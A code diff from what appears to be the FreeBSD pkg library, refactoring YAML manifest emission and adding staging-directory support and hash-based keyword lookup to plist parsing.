			if (strcasecmp(key->data.scalar.value, m_key))
+
				continue;
+
			if (val->type == manifest_key[i].valid_type) {
+
				retcode = manifest_key[i].parse_data(pkg, val,
+
				    doc, manifest_key[i].type);
+
				break;
			}
-

-
			if (manifest_key[i].key == NULL)
-
				pkg_emit_error("Skipping unknown manifest key: %s",
-
							   key->data.scalar.value);
		}
		++pair;
	}
@@ -637,17 +683,29 @@ yaml_write_buf(void *data, unsigned char *buffer, size_t size)
}

static void
-
manifest_append_seqval(yaml_document_t *doc, int parent, int *seq, const char *title, const char *value)
+
manifest_append_seqval(yaml_document_t *doc, int parent, int *seq,
+
    const char *title, const char *value)
{
+
	int scalar;
+

	if (*seq == -1) {
-
		*seq = yaml_document_add_sequence(doc, NULL, YAML_FLOW_SEQUENCE_STYLE);
-
		yaml_document_append_mapping_pair(doc, parent,
-
				yaml_document_add_scalar(doc, NULL, __DECONST(yaml_char_t*, title), strlen(title), YAML_PLAIN_SCALAR_STYLE), *seq);
+
		*seq = yaml_document_add_sequence(doc, NULL,
+
		    YAML_FLOW_SEQUENCE_STYLE);
+
		scalar = yaml_document_add_scalar(doc, NULL,
+
		    __DECONST(yaml_char_t *, title), strlen(title),
+
		    YAML_PLAIN_SCALAR_STYLE);
+
		yaml_document_append_mapping_pair(doc, parent, scalar, *seq);
	}
-
	yaml_document_append_sequence_item(doc, *seq,
-
			yaml_document_add_scalar(doc, NULL, __DECONST(yaml_char_t*, value), strlen(value), YAML_PLAIN_SCALAR_STYLE));
+
	scalar = yaml_document_add_scalar(doc, NULL,
+
	    __DECONST(yaml_char_t *, value), strlen(value),
+
	    YAML_PLAIN_SCALAR_STYLE);
+
	yaml_document_append_sequence_item(doc, *seq, scalar);
}

+
#define	YAML_ADD_SCALAR(doc, name, style)				       \
+
	yaml_document_add_scalar(doc, NULL, __DECONST(yaml_char_t *, name),    \
+
	    strlen(name), YAML_##style##_SCALAR_STYLE)
+

int
pkg_emit_manifest(struct pkg *pkg, char **dest)
{
@@ -658,7 +716,6 @@ pkg_emit_manifest(struct pkg *pkg, char **dest)
	struct pkg_option *option = NULL;
	struct pkg_file *file = NULL;
	struct pkg_dir *dir = NULL;
-
	struct pkg_script *script = NULL;
	struct pkg_category *category = NULL;
	struct pkg_license *license = NULL;
	struct pkg_user *user = NULL;
@@ -670,12 +727,13 @@ pkg_emit_manifest(struct pkg *pkg, char **dest)
	int seq = -1;
	int map = -1;
	int depkv;
+
	int i;
/*	int users = -1;
	int groups = -1;*/
-
	const char *script_types = NULL;
	struct sbuf *destbuf = sbuf_new_auto();
-
	const char *name, *version, *pkgorigin, *comment, *pkgarch, *www, *pkgmaintainer, *prefix;
-
	const char *desc, *message, *infos;
+
	const char *comment, *desc, *infos, *message, *name, *pkgarch;
+
	const char *pkgmaintainer, *pkgorigin, *prefix, *version, *www;
+
	const char *script_types = NULL;
	lic_t licenselogic;
	int64_t flatsize;

@@ -683,25 +741,28 @@ pkg_emit_manifest(struct pkg *pkg, char **dest)
	yaml_emitter_set_unicode(&emitter, 1);
	yaml_emitter_set_output(&emitter, yaml_write_buf, destbuf);

-
#define manifest_append_kv(map, key, val, style) yaml_document_append_mapping_pair(&doc, map, \
-
		yaml_document_add_scalar(&doc, NULL, __DECONST(yaml_char_t*, key), strlen(key), YAML_PLAIN_SCALAR_STYLE), \
-
		yaml_document_add_scalar(&doc, NULL, __DECONST(yaml_char_t*, val), strlen(val), YAML_##style##_SCALAR_STYLE));
+
#define manifest_append_kv(map, key, val, style) do {			\
+
	int key_obj = YAML_ADD_SCALAR(&doc, key, PLAIN);		\
+
	int val_obj = YAML_ADD_SCALAR(&doc, val, style);		\
+
	yaml_document_append_mapping_pair(&doc, map, key_obj, val_obj);	\
+
} while (0)

-
#define manifest_append_map(id, map, key, block) do { \
+
#define manifest_append_map(id, map, key, block) do {			\
+
	int scalar_obj = YAML_ADD_SCALAR(&doc, key, PLAIN);		\
	id = yaml_document_add_mapping(&doc, NULL, YAML_##block##_MAPPING_STYLE); \
-
	yaml_document_append_mapping_pair(&doc, map, \
-
		yaml_document_add_scalar(&doc, NULL, __DECONST(yaml_char_t*, key), strlen(key), YAML_PLAIN_SCALAR_STYLE), id); \
-
	} while (0)
+
	yaml_document_append_mapping_pair(&doc, map, scalar_obj, id);	\
+
} while (0)

	yaml_document_initialize(&doc, NULL, NULL, NULL, 0, 1);
-
	mapping = yaml_document_add_mapping(&doc, NULL, YAML_BLOCK_MAPPING_STYLE);
+
	mapping = yaml_document_add_mapping(&doc, NULL,
+
	    YAML_BLOCK_MAPPING_STYLE);

-
	pkg_get(pkg, PKG_NAME, &name, PKG_ORIGIN, &pkgorigin, PKG_COMMENT, &comment,
-
	    PKG_ARCH, &pkgarch, PKG_WWW, &www,
+
	pkg_get(pkg, PKG_NAME, &name, PKG_ORIGIN, &pkgorigin,
+
	    PKG_COMMENT, &comment, PKG_ARCH, &pkgarch, PKG_WWW, &www,
	    PKG_MAINTAINER, &pkgmaintainer, PKG_PREFIX, &prefix,
	    PKG_LICENSE_LOGIC, &licenselogic, PKG_DESC, &desc,
-
	    PKG_FLATSIZE, &flatsize, PKG_MESSAGE, &message, PKG_VERSION, &version,
-
	    PKG_INFOS, &infos);
+
	    PKG_FLATSIZE, &flatsize, PKG_MESSAGE, &message,
+
	    PKG_VERSION, &version, PKG_INFOS, &infos);
	manifest_append_kv(mapping, "name", name, PLAIN);
	manifest_append_kv(mapping, "version", version, PLAIN);
	manifest_append_kv(mapping, "origin", pkgorigin, PLAIN);
@@ -711,20 +772,21 @@ pkg_emit_manifest(struct pkg *pkg, char **dest)
	manifest_append_kv(mapping, "maintainer", pkgmaintainer, PLAIN);
	manifest_append_kv(mapping, "prefix", prefix, PLAIN);
	switch (licenselogic) {
-
		case LICENSE_SINGLE:
-
			manifest_append_kv(mapping, "licenselogic", "single", PLAIN);
-
			break;
-
		case LICENSE_AND:
-
			manifest_append_kv(mapping, "licenselogic", "and", PLAIN);
-
			break;
-
		case LICENSE_OR:
-
			manifest_append_kv(mapping, "licenselogic", "or", PLAIN);
-
			break;
+
	case LICENSE_SINGLE:
+
		manifest_append_kv(mapping, "licenselogic", "single", PLAIN);
+
		break;
+
	case LICENSE_AND:
+
		manifest_append_kv(mapping, "licenselogic", "and", PLAIN);
+
		break;
+
	case LICENSE_OR:
+
		manifest_append_kv(mapping, "licenselogic", "or", PLAIN);
+
		break;
	}

	seq = -1;
	while (pkg_licenses(pkg, &license) == EPKG_OK)
-
		manifest_append_seqval(&doc, mapping, &seq, "licenses", pkg_license_name(license));
+
		manifest_append_seqval(&doc, mapping, &seq, "licenses",
+
		    pkg_license_name(license));

	snprintf(tmpbuf, BUFSIZ, "%" PRId64, flatsize);
	manifest_append_kv(mapping, "flatsize", tmpbuf, PLAIN);
@@ -736,115 +798,115 @@ pkg_emit_manifest(struct pkg *pkg, char **dest)
		if (map == -1)
			manifest_append_map(map, mapping, "deps", BLOCK);

-
		manifest_append_map(depkv, map, pkg_dep_get(dep, PKG_DEP_NAME), FLOW);
-
		manifest_append_kv(depkv, "origin", pkg_dep_get(dep, PKG_DEP_ORIGIN), PLAIN);
-
		manifest_append_kv(depkv, "version", pkg_dep_get(dep, PKG_DEP_VERSION), PLAIN);
+
		manifest_append_map(depkv, map, pkg_dep_name(dep), FLOW);
+
		manifest_append_kv(depkv, "origin", pkg_dep_origin(dep), PLAIN);
+
		manifest_append_kv(depkv, "version", pkg_dep_version(dep),
+
		    PLAIN);
	}

	seq = -1;
	while (pkg_categories(pkg, &category) == EPKG_OK)
-
		manifest_append_seqval(&doc, mapping, &seq, "categories", pkg_category_name(category));
+
		manifest_append_seqval(&doc, mapping, &seq, "categories",
+
		    pkg_category_name(category));

	seq = -1;
	while (pkg_users(pkg, &user) == EPKG_OK)
-
		manifest_append_seqval(&doc, mapping, &seq, "users", pkg_user_name(user));
+
		manifest_append_seqval(&doc, mapping, &seq, "users",
+
		    pkg_user_name(user));

	seq = -1;
	while (pkg_groups(pkg, &group) == EPKG_OK)
-
		manifest_append_seqval(&doc, mapping, &seq, "groups", pkg_group_name(group));
-
/*	while (pkg_users(pkg, &user) == EPKG_OK) {
-
		if (users == -1) {
-
			users = yaml_document_add_mapping(&doc, NULL, YAML_BLOCK_MAPPING_STYLE);
-
			yaml_document_append_mapping_pair(&doc, mapping,
-
					yaml_document_add_scalar(&doc, NULL, __DECONST(yaml_char_t*, "users"), 5, YAML_PLAIN_SCALAR_STYLE),
-
					users);
-
		}
-
		manifest_append_kv(users, pkg_user_name(user), user->uidstr);
-
	}
-

-
	while (pkg_groups(pkg, &group) == EPKG_OK) {
-
		if (groups == -1) {
-
			groups = yaml_document_add_mapping(&doc, NULL, YAML_BLOCK_MAPPING_STYLE);
-
			yaml_document_append_mapping_pair(&doc, mapping,
-
					yaml_document_add_scalar(&doc, NULL, __DECONST(yaml_char_t*, "groups"), 6, YAML_PLAIN_SCALAR_STYLE),
-
					groups);
-
		}
-
		manifest_append_kv(groups, pkg_group_name(group), group->gidstr);
-
	}*/
+
		manifest_append_seqval(&doc, mapping, &seq, "groups",
+
		    pkg_group_name(group));

	seq = -1;
	while (pkg_shlibs(pkg, &shlib) == EPKG_OK)
-
		manifest_append_seqval(&doc, mapping, &seq, "shlibs", pkg_shlib_name(shlib));
-
 
+
		manifest_append_seqval(&doc, mapping, &seq, "shlibs",
+
		    pkg_shlib_name(shlib));
+

	map = -1;
	while (pkg_options(pkg, &option) == EPKG_OK) {
		if (map == -1)
			manifest_append_map(map, mapping, "options", FLOW);
-
		manifest_append_kv(map, pkg_option_opt(option), pkg_option_value(option), PLAIN);
+
		manifest_append_kv(map, pkg_option_opt(option),
+
		    pkg_option_value(option), PLAIN);
	}

	map = -1;
	while (pkg_files(pkg, &file) == EPKG_OK) {
+
		const char *pkg_sum = pkg_file_cksum(file);
+

+
		if (pkg_sum == NULL || pkg_sum[0] == '\0')
+
			pkg_sum = "-";
+

		if (map == -1)
			manifest_append_map(map, mapping, "files", BLOCK);
-
		urlencode(pkg_file_get(file, PKG_FILE_PATH), &tmpsbuf);
-
		manifest_append_kv(map, sbuf_get(tmpsbuf), pkg_file_get(file, PKG_FILE_SUM) && strlen(pkg_file_get(file, PKG_FILE_SUM)) > 0 ? pkg_file_get(file, PKG_FILE_SUM) : "-", PLAIN);
+
		urlencode(pkg_file_path(file), &tmpsbuf);
+
		manifest_append_kv(map, sbuf_get(tmpsbuf), pkg_sum, PLAIN);
	}

	seq = -1;
	map = -1;
	while (pkg_dirs(pkg, &dir) == EPKG_OK) {
+
		const char *try_str;
		if (map == -1)
			manifest_append_map(map, mapping, "directories", BLOCK);
		urlencode(pkg_dir_path(dir), &tmpsbuf);
-
		manifest_append_kv(map, sbuf_get(tmpsbuf), pkg_dir_try(dir) ? "y" : "n", PLAIN);
+
		try_str = pkg_dir_try(dir) ? "y" : "n";
+
		manifest_append_kv(map, sbuf_get(tmpsbuf), try_str, PLAIN);
	}

	map = -1;
-
	while (pkg_scripts(pkg, &script) == EPKG_OK) {
+
	for (i = 0; i < PKG_NUM_SCRIPTS; i++) {
		if (map == -1)
			manifest_append_map(map, mapping, "scripts", BLOCK);

-
		switch (pkg_script_type(script)) {
-
			case PKG_SCRIPT_PRE_INSTALL:
-
				script_types = "pre-install";
-
				break;
-
			case PKG_SCRIPT_INSTALL:
-
				script_types = "install";
-
				break;
-
			case PKG_SCRIPT_POST_INSTALL:
-
				script_types = "post-install";
-
				break;
-
			case PKG_SCRIPT_PRE_UPGRADE:
-
				script_types = "pre-upgrade";
-
				break;
-
			case PKG_SCRIPT_UPGRADE:
-
				script_types = "upgrade";
-
				break;
-
			case PKG_SCRIPT_POST_UPGRADE:
-
				script_types = "post-upgrade";
-
				break;
-
			case PKG_SCRIPT_PRE_DEINSTALL:
-
				script_types = "pre-deinstall";
-
				break;
-
			case PKG_SCRIPT_DEINSTALL:
-
				script_types = "deinstall";
-
				break;
-
			case PKG_SCRIPT_POST_DEINSTALL:
-
				script_types = "post-deinstall";
-
				break;
+
		if (pkg_script_get(pkg, i) == NULL)
+
			continue;
+

+
		switch (i) {
+
		case PKG_SCRIPT_PRE_INSTALL:
+
			script_types = "pre-install";
+
			break;
+
		case PKG_SCRIPT_INSTALL:
+
			script_types = "install";
+
			break;
+
		case PKG_SCRIPT_POST_INSTALL:
+
			script_types = "post-install";
+
			break;
+
		case PKG_SCRIPT_PRE_UPGRADE:
+
			script_types = "pre-upgrade";
+
			break;
+
		case PKG_SCRIPT_UPGRADE:
+
			script_types = "upgrade";
+
			break;
+
		case PKG_SCRIPT_POST_UPGRADE:
+
			script_types = "post-upgrade";
+
			break;
+
		case PKG_SCRIPT_PRE_DEINSTALL:
+
			script_types = "pre-deinstall";
+
			break;
+
		case PKG_SCRIPT_DEINSTALL:
+
			script_types = "deinstall";
+
			break;
+
		case PKG_SCRIPT_POST_DEINSTALL:
+
			script_types = "post-deinstall";
+
			break;
		}
-
		urlencode(pkg_script_data(script), &tmpsbuf);
-
		manifest_append_kv(map, script_types, sbuf_get(tmpsbuf), LITERAL);
+
		urlencode(pkg_script_get(pkg, i), &tmpsbuf);
+
		manifest_append_kv(map, script_types, sbuf_get(tmpsbuf),
+
		    LITERAL);
	}
	if (infos != NULL && *infos != '\0') {
		urlencode(infos, &tmpsbuf);
-
		manifest_append_kv(mapping, "message", sbuf_get(tmpsbuf), LITERAL);
+
		manifest_append_kv(mapping, "message", sbuf_get(tmpsbuf),
+
		    LITERAL);
	}

	if (message != NULL && *message != '\0') {
		urlencode(message, &tmpsbuf);
-
		manifest_append_kv(mapping, "message", sbuf_get(tmpsbuf), LITERAL);
+
		manifest_append_kv(mapping, "message", sbuf_get(tmpsbuf),
+
		    LITERAL);
	}

	if (!yaml_emitter_dump(&emitter, &doc))
modified libpkg/pkg_ports.c
@@ -37,19 +37,22 @@
#include <string.h>
#include <unistd.h>
#include <yaml.h>
+
#include <uthash.h>

#include "pkg.h"
#include "private/event.h"
#include "private/pkg.h"

struct keyword {
-
	const char *keyword;
-
	STAILQ_HEAD(actions, action) actions;
-
	STAILQ_ENTRY(keyword) next;
+
	/* 64 is more than enough for this */
+
	char keyword[64];
+
	STAILQ_HEAD(, action) actions;
+
	UT_hash_handle hh;
};

struct plist {
	char *last_file;
+
	const char *stage;
	const char *prefix;
	struct sbuf *unexec_buf;
	struct sbuf *pre_install_buf;
@@ -66,7 +69,7 @@ struct plist {
	int64_t flatsize;
	struct hardlinks *hardlinks;
	mode_t perm;
-
	STAILQ_HEAD(keywords, keyword) keywords;
+
	struct keyword *keywords;
};

struct action {
@@ -110,9 +113,12 @@ sbuf_append(struct sbuf *buf, __unused const char *comment, const char *str, ...
	va_end(ap);
}

-
#define post_unexec_append(buf, str, ...) sbuf_append(buf, "unexec", str, __VA_ARGS__)
-
#define pre_unexec_append(buf, str, ...) sbuf_append(buf, "unexec", str, __VA_ARGS__)
-
#define exec_append(buf, str, ...) sbuf_append(buf, "exec", str, __VA_ARGS__)
+
#define post_unexec_append(buf, str, ...) \
+
	sbuf_append(buf, "unexec", str, __VA_ARGS__)
+
#define pre_unexec_append(buf, str, ...) \
+
	sbuf_append(buf, "unexec", str, __VA_ARGS__)
+
#define exec_append(buf, str, ...) \
+
	sbuf_append(buf, "exec", str, __VA_ARGS__)

static int
setprefix(struct plist *p, char *line)
@@ -132,6 +138,10 @@ meta_dirrm(struct plist *p, char *line, bool try)
{
	size_t len;
	char path[MAXPATHLEN];
+
	char stagedpath[MAXPATHLEN];
+
	char *testpath;
+
	struct stat st;
+
	bool developer;

	len = strlen(line);

@@ -141,9 +151,36 @@ meta_dirrm(struct plist *p, char *line, bool try)
	if (line[0] == '/')
		snprintf(path, sizeof(path), "%s/", line);
	else
-
		snprintf(path, sizeof(path), "%s%s%s/", p->prefix, p->slash, line);
+
		snprintf(path, sizeof(path), "%s%s%s/", p->prefix, p->slash,
+
		    line);
+

+
	testpath = path;
+

+
	if (p->stage != NULL) {
+
		snprintf(stagedpath, sizeof(stagedpath), "%s%s", p->stage, path);
+
		testpath = stagedpath;
+
	}
+

+
	if (lstat(testpath, &st) == 0)
+
		return (pkg_adddir_attr(p->pkg, path, p->uname, p->gname,
+
		    p->perm, try, true));
+

+
	pkg_config_bool(PKG_CONFIG_DEVELOPER_MODE, &developer);

-
	return (pkg_adddir_attr(p->pkg, path, p->uname, p->gname, p->perm, try));
+
	/* Only omit warning if not @dirrmtry, or always show in DEVELOPER_MODE */
+
	if (!try || developer)
+
		pkg_emit_errno("lstat", path);
+

+
	/* Don't emit fatal if using @dirrmtry, regardless of DEVELOPER_MODE or staging */
+
	if (!try) {
+
		if (p->stage != NULL)
+
			return (EPKG_FATAL);
+
		if (developer) {
+
			pkg_emit_developer_mode("Plist error: @dirrm %s", line);
+
			return (EPKG_FATAL);
+
		}
+
	}
+
	return (EPKG_OK);
}

static int
@@ -163,6 +200,8 @@ file(struct plist *p, char *line)
{
	size_t len;
	char path[MAXPATHLEN];
+
	char stagedpath[MAXPATHLEN];
+
	char *testpath;
	struct stat st;
	char *buf;
	bool regular = false;
@@ -177,9 +216,16 @@ file(struct plist *p, char *line)
	if (line[0] == '/')
		snprintf(path, sizeof(path), "%s", line);
	else
-
		snprintf(path, sizeof(path), "%s%s%s", p->prefix, p->slash, line);
+
		snprintf(path, sizeof(path), "%s%s%s", p->prefix,
+
		    p->slash, line);
+
	testpath = path;

-
	if (lstat(path, &st) == 0) {
+
	if (p->stage != NULL) {
+
		snprintf(stagedpath, sizeof(stagedpath), "%s%s", p->stage, path);
+
		testpath = stagedpath;
+
	}
+

+
	if (lstat(testpath, &st) == 0) {
		buf = NULL;
		regular = true;

@@ -192,15 +238,22 @@ file(struct plist *p, char *line)

		if (regular) {
			p->flatsize += st.st_size;
-
			sha256_file(path, sha256);
+
			sha256_file(testpath, sha256);
			buf = sha256;
		}
-
		return (pkg_addfile_attr(p->pkg, path, buf, p->uname, p->gname, p->perm, true));
+
		return (pkg_addfile_attr(p->pkg, path, buf, p->uname, p->gname,
+
		    p->perm, true));
	}

	pkg_emit_errno("lstat", path);
+
	if (p->stage != NULL)
+
		return (EPKG_FATAL);
	pkg_config_bool(PKG_CONFIG_DEVELOPER_MODE, &developer);
-
	return (developer ? EPKG_FATAL : EPKG_OK);
+
	if (developer) {
+
		pkg_emit_developer_mode("Plist error, missing file: %s", line);
+
		return (EPKG_FATAL);
+
	}
+
	return (EPKG_OK);
}

static int
@@ -263,8 +316,10 @@ meta_exec(struct plist *p, char *line, bool unexec)
	char comment[2];
	char path[MAXPATHLEN + 1];
	regmatch_t pmatch[2];
+
	int ret;

-
	if (format_exec_cmd(&cmd, line, p->prefix, p->last_file, NULL) != EPKG_OK)
+
	ret = format_exec_cmd(&cmd, line, p->prefix, p->last_file, NULL);
+
	if (ret != EPKG_OK)
		return (EPKG_OK);

	if (unexec) {
@@ -300,10 +355,13 @@ meta_exec(struct plist *p, char *line, bool unexec)
		if (strstr(cmd, "rmdir") || strstr(cmd, "kldxref") ||
		    strstr(cmd, "mkfontscale") || strstr(cmd, "mkfontdir") ||
		    strstr(cmd, "fc-cache") || strstr(cmd, "fonts.dir") ||
-
		    strstr(cmd, "fonts.scale") || strstr(cmd, "gtk-update-icon-cache") ||
-
		    strstr(cmd, "update-desktop-database") || strstr(cmd, "update-mime-database")) {
+
		    strstr(cmd, "fonts.scale") ||
+
		    strstr(cmd, "gtk-update-icon-cache") ||
+
		    strstr(cmd, "update-desktop-database") ||
+
		    strstr(cmd, "update-mime-database")) {
			if (comment[0] != '#')
-
				post_unexec_append(p->post_deinstall_buf, "%s%s\n", comment, cmd);
+
				post_unexec_append(p->post_deinstall_buf,
+
				    "%s%s\n", comment, cmd);
		} else {
			sbuf_printf(p->unexec_buf, "%s%s\n",comment, cmd);
		}
@@ -319,18 +377,22 @@ meta_exec(struct plist *p, char *line, bool unexec)
			split_chr(buf, '|');

			if (strstr(buf, "\"/")) {
-
				regcomp(&preg, "[[:space:]]\"(/[^\"]+)", REG_EXTENDED);
+
				regcomp(&preg, "[[:space:]]\"(/[^\"]+)",
+
				    REG_EXTENDED);
				while (regexec(&preg, buf, 2, pmatch, 0) == 0) {
-
					strlcpy(path, &buf[pmatch[1].rm_so], pmatch[1].rm_eo - pmatch[1].rm_so + 1);
+
					strlcpy(path, &buf[pmatch[1].rm_so],
+
					    pmatch[1].rm_eo - pmatch[1].rm_so + 1);
					buf+=pmatch[1].rm_eo;
					if (!strcmp(path, "/dev/null"))
						continue;
					dirrmtry(p, path);
				}
			} else {
-
				regcomp(&preg, "[[:space:]](/[[:graph:]/]+)", REG_EXTENDED);
+
				regcomp(&preg, "[[:space:]](/[[:graph:]/]+)",
+
				    REG_EXTENDED);
				while (regexec(&preg, buf, 2, pmatch, 0) == 0) {
-
					strlcpy(path, &buf[pmatch[1].rm_so], pmatch[1].rm_eo - pmatch[1].rm_so + 1);
+
					strlcpy(path, &buf[pmatch[1].rm_so],
+
					    pmatch[1].rm_eo - pmatch[1].rm_so + 1);
					buf+=pmatch[1].rm_eo;
					if (!strcmp(path, "/dev/null"))
						continue;
@@ -367,92 +429,92 @@ populate_keywords(struct plist *p)
	/* @cwd */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "cwd";
+
	strlcpy(k->keyword, "cwd", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = setprefix;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);

	/* @ignore */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "ignore";
+
	strlcpy(k->keyword, "ignore", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = ignore_next;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);

	/* @comment */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "comment";
+
	strlcpy(k->keyword, "comment", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = ignore;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);

	/* @dirrm */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "dirrm";
+
	strlcpy(k->keyword, "dirrm", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = dirrm;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);

	/* @dirrmtry */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "dirrmtry";
+
	strlcpy(k->keyword, "dirrmtry", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = dirrmtry;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);

	/* @mode */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "mode";
+
	strlcpy(k->keyword, "mode", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = setmod;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);

	/* @owner */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "owner";
+
	strlcpy(k->keyword, "owner", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = setowner;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);

	/* @group */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "group";
+
	strlcpy(k->keyword, "group", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = setgroup;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);

	/* @exec */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "exec";
+
	strlcpy(k->keyword, "exec", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = exec;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);

	/* @unexec */
	k = malloc(sizeof(struct keyword));
	a = malloc(sizeof(struct action));
-
	k->keyword = "unexec";
+
	strlcpy(k->keyword, "unexec", sizeof(k->keyword));
	STAILQ_INIT(&k->actions);
	a->perform = unexec;
	STAILQ_INSERT_TAIL(&k->actions, a, next);
-
	STAILQ_INSERT_TAIL(&p->keywords, k, next);
+
	HASH_ADD_STR(p->keywords, keyword, k);
}

static void
@@ -466,14 +528,18 @@ keyword_free(struct keyword *k)
}

static void
-
plist_free(struct plist *plist)
+
plist_free(struct plist *p)
{
-
	struct keyword *k;
-
	LIST_FREE(&plist->keywords, k, keyword_free);
+
	struct keyword *k, *tmp;
+
	HASH_ITER(hh, p->keywords, k, tmp) {
+
		HASH_DEL(p->keywords, k);
+
		keyword_free(k);
+
	}
}

static int
-
parse_actions(yaml_document_t *doc, yaml_node_t *node, struct plist *p, char *line)
+
parse_actions(yaml_document_t *doc, yaml_node_t *node, struct plist *p,
+
    char *line)
{
	yaml_node_item_t *item;
	yaml_node_t *val;
@@ -494,7 +560,8 @@ parse_actions(yaml_document_t *doc, yaml_node_t *node, struct plist *p, char *li
		}

		for (i = 0; list_actions[i].name != NULL; i++) {
-
			if (!strcasecmp(val->data.scalar.value, list_actions[i].name)) {
+
			if (!strcasecmp(val->data.scalar.value,
+
			    list_actions[i].name)) {
				list_actions[i].perform(p, line);
				break;
			}
@@ -506,7 +573,8 @@ parse_actions(yaml_document_t *doc, yaml_node_t *node, struct plist *p, char *li
}

static int
-
parse_and_apply_keyword_file(yaml_document_t *doc, yaml_node_t *node, struct plist *p, char *line)
+
parse_and_apply_keyword_file(yaml_document_t *doc, yaml_node_t *node,
+
    struct plist *p, char *line)
{
	yaml_node_pair_t *pair;
	yaml_node_t *key, *val;
@@ -529,7 +597,8 @@ parse_and_apply_keyword_file(yaml_document_t *doc, yaml_node_t *node, struct pli

		if (!strcasecmp(key->data.scalar.value, "pre-install")) {
			if (val->data.scalar.length != 0) {
-
				format_exec_cmd(&cmd, val->data.scalar.value, p->prefix, p->last_file, line);
+
				format_exec_cmd(&cmd, val->data.scalar.value,
+
				    p->prefix, p->last_file, line);
				sbuf_cat(p->pre_install_buf, cmd);
				free(cmd);
			}
@@ -539,7 +608,8 @@ parse_and_apply_keyword_file(yaml_document_t *doc, yaml_node_t *node, struct pli

		if (!strcasecmp(key->data.scalar.value, "post-install")) {
			if (val->data.scalar.length != 0) {
-
				format_exec_cmd(&cmd, val->data.scalar.value, p->prefix, p->last_file, line);
+
				format_exec_cmd(&cmd, val->data.scalar.value,
+
				    p->prefix, p->last_file, line);
				sbuf_cat(p->post_install_buf, cmd);
				free(cmd);
			}
@@ -549,7 +619,8 @@ parse_and_apply_keyword_file(yaml_document_t *doc, yaml_node_t *node, struct pli

		if (!strcasecmp(key->data.scalar.value, "pre-deinstall")) {
			if (val->data.scalar.length != 0) {
-
				format_exec_cmd(&cmd, val->data.scalar.value, p->prefix, p->last_file, line);
+
				format_exec_cmd(&cmd, val->data.scalar.value,
+
				    p->prefix, p->last_file, line);
				sbuf_cat(p->pre_deinstall_buf, cmd);
				free(cmd);
			}
@@ -558,8 +629,9 @@ parse_and_apply_keyword_file(yaml_document_t *doc, yaml_node_t *node, struct pli
		}

		if (!strcasecmp(key->data.scalar.value, "post-deinstall")) {
-
			if (val->data.scalar.length != 0) { 
-
				format_exec_cmd(&cmd, val->data.scalar.value, p->prefix, p->last_file, line);
+
			if (val->data.scalar.length != 0) {
+
				format_exec_cmd(&cmd, val->data.scalar.value,
+
				    p->prefix, p->last_file, line);
				sbuf_cat(p->post_deinstall_buf, cmd);
				free(cmd);
			}
@@ -569,7 +641,8 @@ parse_and_apply_keyword_file(yaml_document_t *doc, yaml_node_t *node, struct pli

		if (!strcasecmp(key->data.scalar.value, "pre-upgrade")) {
			if (val->data.scalar.length != 0) {
-
				format_exec_cmd(&cmd, val->data.scalar.value, p->prefix, p->last_file, line);
+
				format_exec_cmd(&cmd, val->data.scalar.value,
+
				    p->prefix, p->last_file, line);
				sbuf_cat(p->pre_upgrade_buf, cmd);
				free(cmd);
			}
@@ -579,7 +652,8 @@ parse_and_apply_keyword_file(yaml_document_t *doc, yaml_node_t *node, struct pli

		if (!strcasecmp(key->data.scalar.value, "post-upgrade")) {
			if (val->data.scalar.length != 0) {
-
				format_exec_cmd(&cmd, val->data.scalar.value, p->prefix, p->last_file, line);
+
				format_exec_cmd(&cmd, val->data.scalar.value,
+
				    p->prefix, p->last_file, line);
				sbuf_cat(p->post_upgrade_buf, cmd);
				free(cmd);
			}
@@ -598,7 +672,7 @@ external_keyword(struct plist *plist, char *keyword, char *line)
	const char *keyword_dir = NULL;
	char keyfile_path[MAXPATHLEN];
	FILE *fp;
-
	int ret = EPKG_FATAL;
+
	int ret = EPKG_UNKNOWN;
	yaml_parser_t parser;
